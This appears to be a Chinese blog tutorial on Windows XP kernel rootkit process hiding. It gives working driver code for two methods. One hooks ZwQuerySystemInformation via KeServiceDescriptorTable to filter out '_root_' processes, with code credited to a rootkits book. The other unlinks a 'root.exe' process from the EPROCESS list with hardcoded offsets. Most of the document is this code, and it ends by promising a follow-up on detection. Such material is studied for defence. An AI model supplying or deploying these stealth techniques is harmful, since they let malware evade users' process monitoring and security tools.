第一种在系统调用服务表HOOK ZwQuerySystemInformation函数地址
使用InterlockedExchange函数将ZwQuerySystemInformation在内核导出表KeServiceDescriptorTable最终调用位置的函数地址替换为NewZwQuerySystemInformation,然后NewZwQuerySystemInformation先调用之前的函数,最后NewZwQuerySystemInformation从原函数返回的信息中过滤掉目标进程。
见核心代码
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
// Look for process names that start with
// '_root_' and filter them out.
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr->NextEntryDelta;
else // we are last, so make prev the end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so move it forward
(char *)SystemInformation += curr->NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
代码摘自Rootkits-Windows内核的安全防护一书
效果如图
我把一个MFC程序命名为_root_.exe,运行后加载驱动,可以显示出对话框,任务管理器进程列表却找不到这个进程。
第二种是直接在内核的EPROCESS链表中摘去目标进程。
void EnumERProcess()
{
ULONG eproc ;
ULONG first_eproc;
int currentPid = 0;
int startPid = 0;
int cout = 0;
// ULONG pflinkErp,pblinkErp;
PLIST_ENTRY pListActiveProcs;
PLIST_ENTRY pflinkErp,pblinkErp;
//_asm int 3;
//遍历ActiveList
first_eproc = eproc = (ULONG)PsGetCurrentProcess();
pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);
while(eproc!=0)
{
PULONG pid = (PULONG)(eproc +0x84);
PCHAR image_name = (PCHAR)(eproc +0x174);
DbgPrint("PID=%d ProcessName=%s\n",*pid,image_name);
if(strcmp(image_name,"root.exe") == 0)
{
DbgPrint("发现进程root\n");
pflinkErp = pListActiveProcs->Flink;
pblinkErp = pListActiveProcs->Blink;
//后一个节点的前进节点设置为下一个
pblinkErp->Flink = pflinkErp;
//设置前面一个节点的后面节点
pflinkErp->Blink = pblinkErp;
pListActiveProcs->Flink = (PLIST_ENTRY)(eproc+0x88);
pListActiveProcs->Blink = (PLIST_ENTRY)(eproc+0x88);
return;
}
eproc = (ULONG)pListActiveProcs->Flink - 0x88;
pListActiveProcs = (PLIST_ENTRY)(eproc+0x88);
if(eproc == first_eproc)
break;
}
}
(XP环境测试代码,直接硬编码了)
效果和第一种一样
下一篇将告诉大家如何检测隐藏进程